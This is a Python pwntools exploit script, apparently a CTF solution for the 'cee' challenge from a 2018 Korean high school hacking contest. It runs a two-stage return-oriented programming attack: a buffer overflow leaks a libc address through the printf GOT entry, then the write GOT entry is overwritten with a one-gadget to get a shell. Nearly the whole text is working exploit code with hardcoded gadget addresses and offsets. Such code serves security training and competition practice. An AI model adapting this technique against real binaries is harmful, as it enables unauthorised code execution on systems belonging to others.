선린인터넷고등학교 교내해킹방어대회 2018 cee

from pwn import *
 
pop_RSI_R15 = 0x0000000000400a51
main_read = 0x40099E
main = 0x400716
oneshot = 0x45216
 
p = process("./cee")
e = ELF("./cee")
 
 
def SETTING():
 
    p.recv()
    p.sendline("2018-11-15")
 
    ## KOREAN ##
    p.recv()
    p.sendline("-1")
 
    ## ENDLISH ##
    p.recv()
    p.sendline("-1")
 
    ## MATH ##
 
    p.recv()
    p.sendline("-1")
 
 
 
## EXPLOIT ##
 
SETTING()
 
 
# STAGE 1 : Leak : libc_base #
 
#RSI = buf
#RDI = fd
 
p.recv()
 
payload1  = "A" * 0x30
payload1 += "A" * 8
payload1 += p64(pop_RSI_R15)
payload1 += p64(e.got['printf'])
payload1 += p64(1)
payload1 += p64(e.plt['write']) 
payload1 += p64(main)
p.send(payload1)
 
p.recvuntil("Thank You!!")
 
libc_base = u64(p.recv(8)) - 0x55800
 
p.success("Leak libc_base : " + hex(libc_base))
p.success("oneshot Address : " + hex(libc_base + oneshot))
 
SETTING()
 
# STAGE 2 : overwrite write to oneshot #
 
#RSI = buf
#RDI = fd ( using main )
 
payload2  = "A" * 0x30
payload2 += "A" * 8
payload2 += p64(pop_RSI_R15)
payload2 += p64(e.got['write'])
payload2 += p64(0)
payload2 += p64(main_read)
 
p.send(payload2)
 
p.send(p64(libc_base+oneshot))
 
p.interactive()